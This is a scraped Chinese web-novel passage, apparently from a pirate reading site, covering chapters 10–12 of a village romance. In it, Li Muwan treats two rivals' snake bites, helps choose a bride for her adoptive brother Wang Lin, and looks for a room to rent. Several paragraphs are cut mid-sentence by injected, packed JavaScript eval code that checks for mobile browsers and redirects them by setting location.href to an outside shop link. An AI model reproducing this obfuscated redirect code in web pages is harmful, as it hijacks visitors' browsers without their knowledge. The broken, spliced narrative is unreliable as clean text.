午后二人简单煮了两碗面,正正经经下厨李慕婉没做过,王林也没做过,平时都是周英素掌厨,二人只会打下手,便只能简单填饱肚子就行。 与花影约的时辰要到了,李慕婉重新换了身衣裳,去堂屋给王林留话:“义兄,婉儿出去一趟。” 从早上便见他坐在那雕木头,婉儿没去扰他,出门时打了声招呼,王林想起葛阳许浩的事,想要叮嘱两句,人已经没了影儿。 他暗自叹了一息,继续雕刻。 李慕婉刚到花影家,院里聚了些少年少女,有些李慕婉见过,譬如王浩,有些她没见过,譬如王卓,还有叶清儿,叶敏儿。 王卓是王林的堂兄,二人父亲是嫡庶兄弟,家住在县城,叶清儿与叶敏儿是姊妹,家住隔壁花溪村,与花影交好,谢三婶受周英素嘱托,要替王林物色好人家,姐姐叶清儿性子温和,认得大字,妹妹叶敏儿性子活泼,两人性子各有不同,叶清儿就是要给王林物色的人选。 对于李慕婉,几人都有耳闻,就连县城居住的王卓知道后早就想来看看,不只是因为李慕婉,县里大考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723025|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有过,他便离开了书院,帮家里经营生意。 王浩热情给众人介绍李慕婉,让人看着二人关系不一般,叶敏儿瞧着那模样看没移开眼,又听闻村里许浩葛阳来王家村吃了瘪,听闻就是因为此女。 “李姑娘?久闻大名。”叶敏儿主动示好,“常听花影提起你呢,今日一见果然人如其名。” 李慕婉给众人行礼,举止优雅,“诸位既是花影和王浩的朋友,就是我的朋友,叫我婉儿就行。” 花影搀过她手臂,拉到一边,低声问:“婉儿,铁柱哥没在家么?” “在。” “那怎么没一块来。” “他……”李慕婉脑海闪过颀长的身影,坐在堂屋专注木雕,不受外界干扰,“你没说今日有其他人啊。” “我知道,铁柱哥向来很少跟我们一块玩闹的,他定是又温书了呗。”花影说,“叶清儿是我娘给铁柱哥相看的,本想着他若是能来,二人能见见,有个印象,家里长辈才知道如何,他可看过叶清儿画像?” 周英素没拿出来,李慕婉自是不知道还有这事,只是先前席间他们提过这事,记得后来王林不大高兴,家中也没再提,她也就抛之脑后了。 李慕婉摇摇头,之后几人就在花影家中小院坐了一下午,谈天论地,少年的遐想没有边际。王卓告诉众人,半月后会有打铁花的匠人经过长乐县,镇上的孙员外联合其他三大家族请到镇子上表演,往年中秋月圆节镇上也会有打铁花,今年还未到中秋便能看见了。 众人闻言很是期待,李慕婉在京城看过不少打铁花,从前都是哥哥带她去看的,离开京城后再没见过了,心里也泛起些许期待。 酉时后众人散去,王浩坚持要送李慕婉回去,李慕婉不好拒绝,只能应下,路上王浩有意无意打听了许浩葛阳的事。 “叶敏儿说,葛阳和许浩前些日子来过王家村,葛阳回去的时候腿不知怎么了,是许浩背回去的,婉儿姑娘,你可认识这二人?” 李慕婉沉默须臾,点头默认。 “混蛋,果真如此,那他们是不是来为难过你?”王浩闻言恨不得要生扒了二人。 李慕婉红唇微起,漾起浅笑:“是有这事,不过义兄替我讨回来了,葛阳的腿义兄打的。” 她说这话时带了些骄傲的意味,似在夸耀一轮明月。 王浩松了口气,寻思说:“那便好。” “但是这事你别让我周婶和王叔知道,义兄那没有说的,婉儿是把你当朋友,你今日问了我才与你说。”李慕婉道。 “好,婉儿姑娘放心,”王浩说,“你觉得叶清儿如何?” 李慕婉思忖少许,“为何这么问?” “叶清儿要跟铁柱哥定亲了,花影没同你说吗?” 李慕婉摇头,“花影只说是相看,什么时候又定亲了?周婶还没与义兄说呢。” “我铁柱哥还不知道?”王浩诧异,很快又恢复常色。 “若是定了,周婶会说的,无需你我操心了。”李慕婉心里莫名烦躁,步子就迈得大了些,很快到了竹林小院,李慕婉客气邀请王浩入屋坐坐。 王浩婉拒,将路边摘的一支海棠塞给她,“不了,我娘等我回去干活,替我跟铁柱哥说一声,我就不进去了。” 李慕婉没强求,他走的快,就连那支海棠塞进来时反应的时间都没有。 西厢房窗前透气的王林正巧看见这一幕,他收回视线,书案那坐小人木雕精巧,巧夺天工,惟妙惟俏。 原是想拿给她的,见此突然又改了注意,转身将木雕放入床头柜子,合上了。 10. 蛇毒(加更章) 李慕婉入了堂屋,将那支海棠插入置架上的竹筒里,堂屋整齐干净,不见王林人影,她便又去西厢房。 “义兄,我回来了。”李慕婉临着门,没有敲。 王林淡淡“嗯”了句,李慕婉等了片刻,无人来开门,她也就走了。 丛山青翠,林深处,烟火袅袅升起,清明过后,细雨如丝,山间梨花落尽,上山寻药的人踩着最后一抹余晖回村,村里人忙于活计,空了很长时间没上山,李慕婉待不住,虽有王林的叮嘱,可再也没见过许浩葛阳二人,她也就放下警惕,又开始一人上山采药。 药篮子每日回来都背的满满当当,白昼渐长,回到村口时,李慕婉却看见两道身影,定睛再瞧,居然是许浩葛阳二人,只是这二人似乎不像是来找茬了。 李慕婉警觉远离,倘若这二人敢上前,她便跑。 待她走了一段路,发觉身后无任何动静,那二人瘫坐在树枝下,似乎很痛苦,李慕婉出于善意,隔着距离问了句:“你,你们,可是又来找我麻烦的?” 许浩咬着牙,若说是也没错,二人本意就是来算账的,可是入夜后的清明时节,草木疯长,蛇鼠横生,即便是李慕婉上山都会随身携带驱蛇的药物。 这二人不知道被什么蛇咬了,双唇紫得透彻,说话声气弱,李慕婉观察细微,以这二人的行事,若是有心找她麻烦,此刻也不会容忍她从身边走过而不动声色了。 葛阳双唇抖得厉害,“我二人被蛇咬了,你若想报上次刁难之仇,大可给我们一棒。” 与李慕婉心中猜测合了几分,看样子不像是装的。 她卸下背篓,从背篓拿出一把匕首,刚好今日半道采了些重楼,这类药草倒是常见,王家院子周边是竹林,难免会有蛇虫出没,为此准备些也是要的。 匕首闪过亮光,刺着二人的眼眶,葛阳有些慌了,“你,你做什么?” 许浩也令色道:“我们从未想过要你的命,你趁人之危......” “我不要你们的命,蛇毒能解,但是你二人答应,往后不许寻我麻烦,”李慕婉细指摩挲在匕首上,架势吓人,“也不许言语辱骂我义兄,不许欺负王家村的其他人。” “若你二人能做到,我可以既往不咎,若不能,那就没办法了。”李慕婉做势要走。 许浩忙拦下:“答应,我们保证。” 李慕婉收下许浩的应承,转而等着葛阳的答复。 “若你能解了蛇毒,救我二人性命,这些都是小事,”葛阳说,“往后若有人欺你,我们二人也可替你出头。” 李慕婉听到想要的答案,这才稳重走近查看伤势,葛阳的咬伤是在小腿处,许浩中毒是替葛阳吸出部分蛇毒,导致有晕厥的症状。 “要把毒血逼出来,但绝对不是用嘴吸的,”李慕婉说,“蛇毒经过唾液蔓延神经,即便吐出来了,也会有少量留存。” 说着,她将手里的重楼叶递给二人,“这是重楼,生服能清热解毒,看你们的样子,这蛇毒性还不算强,我要用匕首放血,将剩余的蛇毒逼出来,就无碍了。” 葛阳许浩二人刚尝出点苦味,李慕婉下刀干脆利落,撕拉的痛感让葛阳倒吸一口凉气,怨怼道:“你下手轻一些。” 难免让他多想,这人是不是公报私仇,故意的。 “不能轻,剖开的伤口若是浅了,毒血排不干净。”李慕婉视若无睹,说得风轻云淡。 “那你倒是轻点啊,”许浩看着葛阳额上密密麻麻的汗珠,脸色苍白,“我哥这怕受不住了。” 李慕婉埋头,借着天幕最后一丝亮,从药篮子翻出些三七,丢给许浩,“让他服下,能起到一定止痛作用。” 许浩想也没有想,将三七根茎擦了擦放入葛阳嘴里。 “可以了,一刻钟后你给他伤口止血就行。”李慕婉收起匕首,背起药篓,往村里去。 许浩望着昏暗里的背影,道了声谢谢。 李慕婉怕王家人担心,方才已经耽搁了时间,若是回去晚了不知道他们会不会出来寻自己,又怕王林看见这二人不对付,影响他心情。 不过转念一想,葛阳许浩也不是那么坏,许浩能舍身为葛阳吸蛇毒,可见二人情义不一般。 回到竹林小院后,今日的事她只字未提,力所能及的事她做了,至于他们如何回花溪村,就不是她该担心的事。 经此一事,葛阳许浩对李慕婉心存感激,回想那夜她冷静解毒,干脆果决的模样,与她柔弱的外表截然不同。 二人对传言有所改观,村里的人无事便总爱编造秘辛,传到二人耳朵里,成了李慕婉以色待着王家,惹得王林垂怜,苦求父母收留,还有更难听的,他们以为李慕婉是水性杨花之辈,这才有了之前的事。 葛阳想寻机谢李慕婉恩情,又不敢前去王家,只能在村口候着,李慕婉看见人那一刻,第一反应就是他不守信。 怎的又来了。 谁料葛阳态度恭敬,收起素日的浪荡,拱手说:“李姑娘别怕,我不是来找你麻烦的。” “何事?”李慕婉冷脸时颇有几分王林的气势。 “多谢李姑娘那日不计前嫌,出手相助,在下得以捡回一条性命。” 李慕婉满不在意,“不必谢,你只要信守承诺便可。” “自然,”葛阳跟上去,却未走得太近,“往后李姑娘若有差遣,在下必然不辞辛苦。” “那倒不必,”李慕婉余光留意着,“你跟着我做什么?” 葛阳很是殷勤,主动替她拿背篓,虽说二人有承诺在先,先前还调戏逗弄于她,眼下这般殷勤恭敬,李慕婉不习惯。 “我在王家村也有朋友,他家就这附近,我送你一道。” 李慕婉宛若有种从前在京城被人痴缠的错觉,满是抵触,“不必。” “你不必怕我,我葛阳虽不是什么大人物,可出尔反尔的事绝不会做。”他信誓旦旦,不像是假的。 李慕婉也不想与他周旋,只能应下,过了油菜花那片地,远处风车下,王林奉母亲吩咐来村口接李慕婉,不知哪里随手捡了支木棍,指尖转得很是随意。 老远就听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723026|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人声,瞧着身影是李慕婉没错,身后跟着的是葛阳? 王林险些以为看错了,昏暗中敛眸再看,没有错。 “咻”的一声,手中的木棍擦过李慕婉肩头,打在葛阳肩甲处,葛阳吃痛后退好几步,口中大骂道:“哪个混蛋,偷袭小爷。” 李慕婉惊呼,看见走近的王林,怔愣须臾,竟有些哑口。 “义兄?” 王林越过她要找葛阳算账,脚轻触木棍便又回到手中,抵在葛阳脖颈上,阴戾道:“我记得上次警告过你了,还敢来纠缠不休,今日得叫你爬着回去。” 他周身的气息冷到极点,葛阳后怕往后缩,欲要解释:“王林,误会,我不是来欺负她的,李姑娘,你替我解释解释啊。” 李慕婉这才恍然,上前拉住王林手臂,“义兄,他没欺负婉儿,他是送我回来的。” 王林定住,眼神锁定着葛阳,随时都能将人撕碎的模样,声音一如往常的冷酷,“送你?” 背篓倒在一侧,散出零星草药。 “是,”李慕婉不得不将先前发生的事解释给王林听,“上次,葛阳中了蛇毒,我路过替他解了毒,他答应不会再为难我,今日也是来道谢的,并非义兄想得那样。” 葛阳捂着心口,看着王林的气势,他居然连反抗的想法都不敢有。 “滚。”王林气势如虹,葛阳撑地而起,拍了两下衣脚,悻悻离去。 李慕婉在身后瞟着挺拔的身姿,像是做错了事,想要解释什么。王林却未出声,将散出的药草拾回篓子,拎在手里,也不与李慕婉说话,步子走得快,把人甩在后头。 李慕婉要小跑步子才能跟上。 “义兄,葛阳也并非那么坏,倘若他有别的心思,要动手早就动手......” “那谁是坏人?”王林冷脸,“我动手了,我是坏人,是这样吗?” “婉儿不是这个意思,义兄......” “他对你示好,你就觉得他是好人,焉知他不是以退为进,伺机而动?”王林顿足,扭过头,审视她说,“你能不能长些心眼,别那么天真?” 李慕婉被训得哑口无言,想要解释,却发现王林压根听不进去。 她自诩看人向来不会错,也并非一味盲目的信从,若是葛阳许浩一开始当真是要对她下手,便不会只在王家村村口堵人,大可打听行踪,在山道里拦截,岂不是更能得逞,又何必在村口天黑时来找她麻烦,多半是要吓唬她的。 “义兄是生婉儿气了,婉儿并非有意隐瞒,他二人我能应付,只是不想让你跟着操心。” “你想多了,”王林说,“我并不乐意操心你的任何事,若非不想我爹娘担忧,我也不会多此一事。” “你尽早联系上你兄长,早日离去,这便是我心中所想。”他的淡漠与疏离一直未消散,不论李慕婉如何努力想要消散他的警惕之心,可他总带着疏离,让人望而却步。紧跟的步子听过这话后,渐渐慢了下来,心中委屈风起泉涌,凉风卷过后,很快又消散,随之替代的仍是乐观活泼的笑容。 11. 议亲 周英素从厨房出来,两人一前一后回到院里。 吃完饭收拾好后周英素拉着李慕婉一块看画像。 画像一共有三副,也就是三个人家,周英素拿不准,想让李慕婉帮忙相看,年轻人的心思相近。 李慕婉端过画卷,周英素将烛台移近,这三人她都见过。 “周婶,这是谢三娘送来的画像吗?可是有段时间了?”李慕婉若有所思。 “是啊,这不是不知道铁柱喜欢哪样的,你素日还能与他说些话,你帮婶观摩观摩。” 李慕婉本是有些为难,她自是猜不透王林对婚事的想法,不过若要给出意见,她也只能从双方的性格和行事方面去衡量。 “王秀阿姐,为人赤诚,行事干练,”她拿起其中一副,有些犹豫,背后论人不是君子所为,可若给出意见,却不能避重就轻,“只是,义兄经通诗文,雄才大略,王秀阿姐从小帮家中做活,没有机会读书,夫妻两若只有柴米油盐,没用共同语言,谈不到一块,日子久了,也甚无趣。” 周英素听得出她的言外之意,李慕婉说辞委婉,点到王秀胸无点墨,但是个勤快人,会过日子。 “云锦阿姐,熟读诗书,在镇上书院当女先生,与义兄倒是有话题能谈,不过据婉儿所知,云锦阿姐性子冷僻,沉默寡言,义兄也是如此,”她声音悠悠,飘在烛光里,“两个冷性子的人处在一块,岂不是一日都说不上两句话。” 这二人都是王家村的姑娘,因常跟着花影走在一块,李慕婉都认识,也都相处过,虽印象不能说太深,但是说得都在理,周英素也感同身受,连忙点头。 “那婉儿再看看这个。” 最后一个画像,李慕婉摊开画卷,是叶清儿。 她沉默须臾,“叶清儿......” 脑子里浮现一个人影,淡淡说:“婉儿见过一次,是个性子温和的姑娘,不骄不躁,举止得体,花影说女工不错,又有容人之量,上过学堂,恬静贤淑,又不会太过寡淡......” 周英素试探道:“那婉儿觉着,叶清儿,铁柱可会喜欢?” 李慕婉愣神,良久答道,“应,应是会喜欢的吧......” “周婶,婉儿觉得三人中,多方考量,叶清儿都更合适。” “好,那婶明日同铁柱说说,让他寻个时间去相看,若是两个孩子都心喜,这事就定了,婶这心里头的大事可算有着落了。” “嗯,周婶,时候不早了,您早些歇息,婉儿先回房。” 周英素收起画卷,送她出了堂屋,这才去跟王天水说定下的事情,王天水觉得行,门当户对的,两家也近,只要孩子喜欢,怎么都成。 李慕婉回房后犹豫了许久,今日两人发生的争执并未解开,王林吃饭时也一个字不说,往日就算他再不喜欢言语,也会与二老闲聊几句。 用了饭就钻回房里温书,再没出来过,她还在寻思要不要过去看书,或许是生自己的气,在他那里葛阳许浩本就不是善类,自己不听他的嘱咐,还与之走得相近,是以才置气的? 思及此,李慕婉觉着还是应该说清楚,从厨房冲了热茶,又备了提神香,端着托盘过去西厢房,门是掩着的,李慕婉敲了三下,又唤了人,里边没有动静。 “义兄,婉儿给你添茶。” 静置良久后,李慕婉又唤了一次,却仍然没有任何回应。 可她能听见翻书的声音,很细很细,又等了多时,李慕婉见仍没有回应,只能将托盘放在门口,轻声说:“婉儿放门口了,义兄记得添,夜里湿气重,别太累了。” 灯案下凌厉的眉峰簇成一团,若有似无地叹了口气。 亥时西厢房的烛火才灭,茶壶仍放在檐下,未移动。 早饭时,周英素谈及相看一事。 “儿啊,爹娘给你挑了房姑娘,你今日若得空,娘带你去看看,如何?” 王林面色沉静,“娘,今日没空。” “那明日?” “明日也不行。”王林语调平常。 “那后日,后日你抽下空,爹娘同你一块去。” “后日也没空。” …… 他这态度,便是不大乐意了,周英素只是觉得他性子冷僻的问题,人都没见过,兴许看过画像就不一样了。 “娘挑几家,又从几家里臻选,最终才定了花溪村叶家的女儿,”周英素拿出画卷,“要不要去,你先看看画像,若非婉儿替娘甄别,娘许是也挑不到你中意的,婉儿明见万里,挑的定能到你心坎里,你看看嘛。” 王天水说:“铁柱啊,你娘为你这事上下张罗了不少,就连婉儿姑娘都替你掌眼了,成不成的见见也无妨,别拂了你娘的好意。” 王林深吸一口气,垂首低声道:“娘定吧。” “诶。”周英素紧蹙的眉舒展,给婉儿递了个感激的眼神。 周英素得了王林的许可,在堂屋与王天水商量上门拜访的事宜,村子里都不是大户人家,礼数不像京城复杂,但是该有的礼也不会少,不若让女方觉着没诚意,虽只是第一次相看,并非是定下婚事,也要好好准备准备。 李慕婉承过洗碗的活,早上吃的杂粮,碗盆不多,王林到厨房端茶水,李慕婉注意到脚步声,转头看他,眼神带着怯,略有委屈。 “义兄是还在责备婉儿吗?昨夜的茶水都没有要。” “李慕婉。”王林身躯压过去,李慕婉后退一步。 “义兄......” “按你的意思,我不该责备,还得感谢你可对?” “婉儿没有这个意思,只是不想义兄因为我而心里有气,婉儿借住于此已是叨扰,很多事也能自己处理好,义兄无需因小事放在心上的,这让婉儿心生愧疚。” “若你当真这么想,你不是该搬出去住么?” “什么?”李慕婉不明白他的意思。 “既然你那么贴心替我娘给我选了个好姑娘,我既是要成亲了,你一个外人住在我们家,合适吗?”王林敛眸凛声道,将李慕婉那点最后的防线击溃。 她不是没想过这个问题,即便王家有这个意思,或许出于仁义也不好开口,可今日王林亲口说了,一股羞耻笼罩着她。 手中的碗倏然滑落,却被王林轻易接住了。 “你不是自己有能耐吗?不是不想我们家为你操心吗?那你搬出去啊。”王林将碗放回木盆里,端了茶走出厨房。 李慕婉怔怔立在原地,许久才回过神。 因着王林的话,一连整日,李慕婉窝在房里,想了多时,她在王家村,清平镇的也算熟悉了,而今也能卖药为生,赚些银两维持生计,于情于理确实不该继续在王家赖着。 思及此处,日落前,她去了花影家,求助花影能不能帮忙给她找些出租的房子,越快越好,花影不明白,住得好好的为何要搬走,不是说好等寻了兄长再走的嘛。 李慕婉不想解释那么多,只道是若有房子尽快与她说一下,她急需,花影仗义,揽下了。 入夜后,李慕婉一如往常给王林送茶,王林以为今日对她说了那样的话,她应是不会再敢来找自己了。 过了时辰,他有意无意会往门外瞟去,似乎在期待什么,身后发带轻飘,灯火昏黄,残影下的大掌骨骼分明,翻页时却显得人心不在焉。 心底闪过一丝失落,她不会来了。 “义兄。”李慕婉清甜的声音落在耳畔,王林少有的惊诧,抬眼望去,门外站着一抹清影,面颊总是带着笑,让人见了如沐春风。 李慕婉没等他允许,等他看过来时,已经踏进去,他没关门,她便当他允了。 茶壶摆放在长桌,给她倒了一盏,轻盈递过去,手里的事情没有停,王林眼角笼着那杯盏。 “婉儿知道义兄不喜欢我,说到底都是婉儿不好,”李慕婉声音淡然,没有怨的意思,“婉儿想过了,义兄说得对,若是你成亲了,我再住这委实不妥。” 王林终是把视线抬到她鬓间,侧脸的弧度清晰可见,烛光衬得她越是温婉清丽。 李慕婉始终低着头,手里不知道忙什么,“我已经让花影帮忙找房子了,找到后婉儿就搬出去,这事还未跟王叔和周婶说,待婉儿谈好租赁事宜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王天水抽着烟斗,嗓音沉稳,“让你娘给你做身新衣吧,你这衣裳都穿许久了,上门见人家姑娘,咱们得体面些。” “爹,我有衣裳,让娘给你们做就成。” 李慕婉沉思后,从袖带又拿出块帕巾,“王叔,周婶,这是婉儿这个月的家用,义兄的婚事是家里大事,万事都不得马虎,义兄的衣裳要做,二老的衣裳也要做,这事就交由婉儿吧。” “不必。”王林想也没想,毫不犹豫驳了好意。 周英素收留家用的银子,“婉儿,铁柱这婚事若能成,你帮了不少忙,你每月交的家用已经很多了,我们家也不能总拖累你。” “怎么能是拖累呢,”李慕婉握住周英素的手,那双手布满常年劳作的厚茧,“救命之恩无以为报,婉儿尽力就是,不是拖累,也不是负担,是婉儿心甘情愿的。” “你这孩子,”周英素暖意横流,“怎的有你这般知心的女娃。” 近日周英素和王天水也商议了另一件事,二人最终意见契合,周英素也借此机会,当着家里所有人面表意。 “你在这住了也有三个月了,我跟孩他爹真心帮你当做女儿看待,若铁柱成婚,你住在家里,我们是没什么,只是外头人说,对你不好。” 李慕婉心有察觉,状若无事说:“婉儿明白......” “等我说完,”周英素打断她,“不若我们认了你做女儿,如此叶家也不会忌讳,你看如何?” “什么?”李慕婉不可置信,原以为也是要她搬出去的,不曾想竟然是,是要认她作女儿? “我们家贫,自是比不得你父母,若你不嫌弃,对外这么说,你还是叫我们叔婶,叫铁柱阿兄。” “娘,这合适么?”王林道。 “你不要说话,我要听婉儿的意思。” “我......”李慕婉指尖掐进衣袖里,低着思忖,她答应了王林会搬走,面对二老的此番真情,她属实也不忍心拒绝。 正当两难之时,竹林小院外王浩声音传来。 “婉儿姑娘,铁柱哥,”王浩气息略急,见人在堂屋整整齐齐坐着,也没察觉氛围不对。“二伯,二娘也在屋里啊。” 王天水看他满头大汗,不由关切道,“浩啊,可是家里出了什么事?” “没,我是来找婉儿的。” 他自顾拿了凳子坐下,说着正事,“婉儿姑娘拖我寻的房子,我寻到了。” “房子?”王天水和周英素异口同声。 王浩这才明白,这事他们并不知情,神色抱歉的看着李慕婉。 12. 租房 李慕婉说:“我,前几日就拖了花影和王浩帮我在镇上找租赁的屋子,本想事成后再告诉周婶和王叔的,怕你们为婉儿担心,故而才自作主张没与大伙商量。” 她也没有提及王林所说的话,从始至终都在替他隐瞒着。 王林神色淡然,观察着父母的情绪,王天水和周英素长叹,李慕婉像下定了决心,他们再拦也不是事儿。 “你自已有主意,我们支持就是,”王天水说,“浩啊,那房子如何?” 王浩喝下口茶说:“院子宽敞,一个正屋,再带一个厢房,婉儿姑娘一个人住自是够了,不过租金一月得要三两银子。” “若能确定下来,需先交三个月租期的银子,也就是九两银子,这已经算是比较实惠的了,便宜的也有,就是离镇子远,破旧些,若重新修葺翻新,所耗银两也差不多。” “婉儿姑娘不是急用嘛,若能接受,明日我带你一块去看看,再跟房牙子谈谈价钱。” “多谢王浩,”李慕婉微颔首,“那明日还得劳烦你了。” 王浩摆手憨笑道:“唉,不必言谢。” 李慕婉搬出去的事王家都知晓了,那么周英素所提之事,似乎也没有必要,双方都很有分寸,谁都没有再提。 “等婉儿搬出去之后,东厢房可以空出来,义兄成亲后与新入门的嫂嫂同住西厢房怕是要委屈了人家,东厢房可以收拾出来做书屋,如此义兄的西厢房也能宽敞些。”面上是带着微笑的,只是声音却隐约能听见些别样的情绪。 屋内气氛并不像家有喜事那般愉快,沉闷写在每个人脸上,唯有王浩心大乐呵着。 李慕婉怕二老伤身,扯出笑意安抚道:“没事的,婉儿有空便会回来看看大家。” “婉儿以后也别喊铁柱义兄了,就叫阿兄吧。”周英素仍是不想脱离这份牵绊,这些日子来,早就把她当做女儿看待。 为不让二老再操心,李慕婉也很是乐意应下。 至于王浩说的那屋子,月金属实是超乎她的预算,三两银子一个月,她虽还有些积蓄,可也没有能到挥金如土的地步。在堂屋时若是当众表露难意,周英素定然不会再收她给的家用,说不定还会主动给她补贴一些。 窗台下撑着头发呆的李慕婉,视线融入夜色里,想着对策,一晚上也没有思绪,像一朵被暴雨冲刷的花苞,摇摇欲坠,只要风一吹便会折断。 西厢房的门掩上了,窗户也只留了条细缝,微弱的烛光逃到院外,在漫无边际的黑夜里,散尽余光。 她的心很静,静得能听见心跳。 “你搬出去吧!”王林那日在厨房与她说的话,不断萦着脑后,竹林遮蔽了星辉,海棠树断断续续作响。 李慕婉本不是优柔寡断的性子,既然已经做好决定,再找就是了,清平镇那么大,又是富庶之地,不信找不到一间自己想要的屋子。 寄出去的信也没有消息,她该是再寄一封,只要一日没有哥哥的回信,她便不停的往外寄,若是哥哥遭遇不测,若是兄妹二人此生再无相见之日,她总要给自己寻条后路,在清平镇也能安身立命。 东厢房的门推开,李慕婉来到王林房间,又端了茶水,每夜她都会这个时辰来替他添茶,掌灯,点香。 “阿兄。”她换了称呼,“婉儿想借你的笔墨,再给我哥哥写封信,明日去镇子上一并寄了。” “门没锁。”王林的声音低沉,李慕婉听得清,扬起笑意轻推了门探出身子。 “阿兄,婉儿先给你添茶。”李慕婉熟悉往他被子添茶,去剪了灯芯,添了灯油,又点了提神香。 熟门熟路,自打他允许她每日来房里看书,房间的布置他没有操心过,每日李慕婉都会来换新鲜的插花,花样不繁琐,有时是一支海棠,或是几支山茶,再搭配了些花草,雅致简单。 他本不习惯旁人动自己的书籍笔墨,却能容忍李慕婉一次次的逾越,只要他没有拒绝,李慕婉都当他是默认了,况且她也没有坏心思,坦坦荡荡。 待她做完这些常事,才又轻车熟路去拿了纸币,重新研磨,笔落信成,她没有多留下,只是待信上字迹干透的空隙,时不时看了几眼那专注看书的少年。 他不说话时,静得如一株青松,让人忍不住想要靠近,却又不敢靠近。 忽然她注意到笔帘上没有她先前送的那支,好似一直就没有看见,之前还未留意。 “阿兄,婉儿送你的那支狼毫,怎么不见你用?可是不喜欢,手感不称心?” 王林昂首,眸子轻轻落在她身上,明亮清澈的双眸映着她的身影,“还没用。” 她如今这么问,王林才想起那个雕像,本是要给她的,先前因着别的事,没有机会,眼下若送出去,有些刻意,他便也没提,又看回书。 李慕婉身躯微动,见他不大想说,并没久留,退出去了。 清晨早雾还未来得及散,李慕婉已经拾掇好准备去镇上,顺带将那些草药一并带去卖了,再多换些银子,今日不是市集日,买草药的散户少,可以到药铺打包卖给郎中,价钱会少一些,但也不会少太多,能省下不少时间。 之后她先去了木雕铺子,将信寄出去后,才同王浩去看了屋子,屋子整体都不错,就是价格实在超出她能承受的范围,后半日又转至其他街道看了几家,也有银子低一些的,陈设还算齐全,可不知怎的,看哪都不如意,心不在焉的。 王浩也不知她心里是何打算,看她不在状态,只道若是都不合心意,就再找,总会有合心意的。 可不合心意的也不是房子,到底是什么,她自己或许也不敢界定。 连着两日,李慕婉都心不在焉的,食不知味,周英素和王天水看着眼里,吃过饭后叫王林去问问是否租房的事情有难处,其实不必一定要搬出去的。 若非他那日说了重话,想必李慕婉不会下定决心搬离,要叫他去问,属实有些难以开口。 也只能借着夜里李慕婉来添茶时再借机询问即可,可还未等他提及,李慕婉担忧王林心里对自己防备,拖延时间故而才迟迟不提。 她便主动说:“阿兄,关于房子的事,婉儿这几日都有在找,但都还没有合适的,先前王浩说的那间房,价格有些高,婉儿现在还没有能力支付这个银子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723028|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过阿兄放心,婉儿一定会在定亲前搬出去,定不会影响阿兄的婚事。” 王林话到嘴边又咽了回去,李慕婉眼神闪避,王林隔着残影,闻着淡淡道皂角香,与房内的提神香混为一块,长睫似小扇摆动。 “爹娘的意思,你若寻不到不搬也无妨。”王林终是不忍,却只是传达了父母的意愿。 李慕婉知道这是二老的意思,并非王林本意,他打心底还是希望自己能搬离。 “婉儿知道,王叔周婶待我好,可我也不能因此不顾家里的难处,阿兄放心就是。” 王林也没多言,意思带到了他的任务就完成了。 至于她,迟早都是要走的,早一日晚一日又有何区别。 两家相见的日子定在了三日后,王家会前去花溪村叶家,王林并未真正想要见叶清儿,这几日也在认真思索自己的婚事,他的心愿,不过是父母能够平安健康,无病无灾。 至于功名,从小也是因着父母的期许,自己脑子灵活,对书里的知识含有好奇,故而比旁人更擅长读书,他并未想要成为人中龙凤,在朝堂上挥洒笔墨,指点江山。 按照父母的意愿,在王家村讨一个媳妇,安安稳稳度过余生,享天伦之乐。可这妻子,得是他心中所喜,而不是随便一个门当户对合适的人选即可。 *** 清平镇上的打铁花节目定在这日,王家村的年轻男女早早盼着,晚饭间,王天水搁下碗筷,又抽起烟斗,若有所思道:“今日镇子上有人来打铁花,铁柱啊,吃过饭你带婉儿也去镇上看看,整日闷在房里对身体不好,多出去走走,不差一时。” 李慕婉眸子泛起光亮,甚有兴致:“打铁花?” “先前王卓来村里时提过一次,还以为要好久,没成想是今日。” 她的喜悦跃然纸上,周英素慈爱点点头,“是,往年都是中秋才有的,小辈们最是喜欢热闹,你们去走走无妨,不过夜里回的时候注意安全。” “没有时间。”王林在一侧冷漠道,并未看出兴致。 李慕婉的喜悦霎时消散,懂事道:“阿兄晚上都要温书,打铁花婉儿也看过的,确实去镇子也远,来回都要到下半夜。” “铁柱,一个晚上不耽误事的,你就带婉儿去看看。”周英素笑道。 王林深深叹了口气,“我回屋看书了。” 周英素摇摇头。 “周婶,阿兄有压力,婉儿知道,不要为难他。”李慕婉帮忙收着碗筷。 晚风打着院墙上的海棠花,李慕婉沐浴后换了身干净衣裳,心里惦记着王天水说的打铁花,原先在京城没少看,大多是哥哥带着她去的。 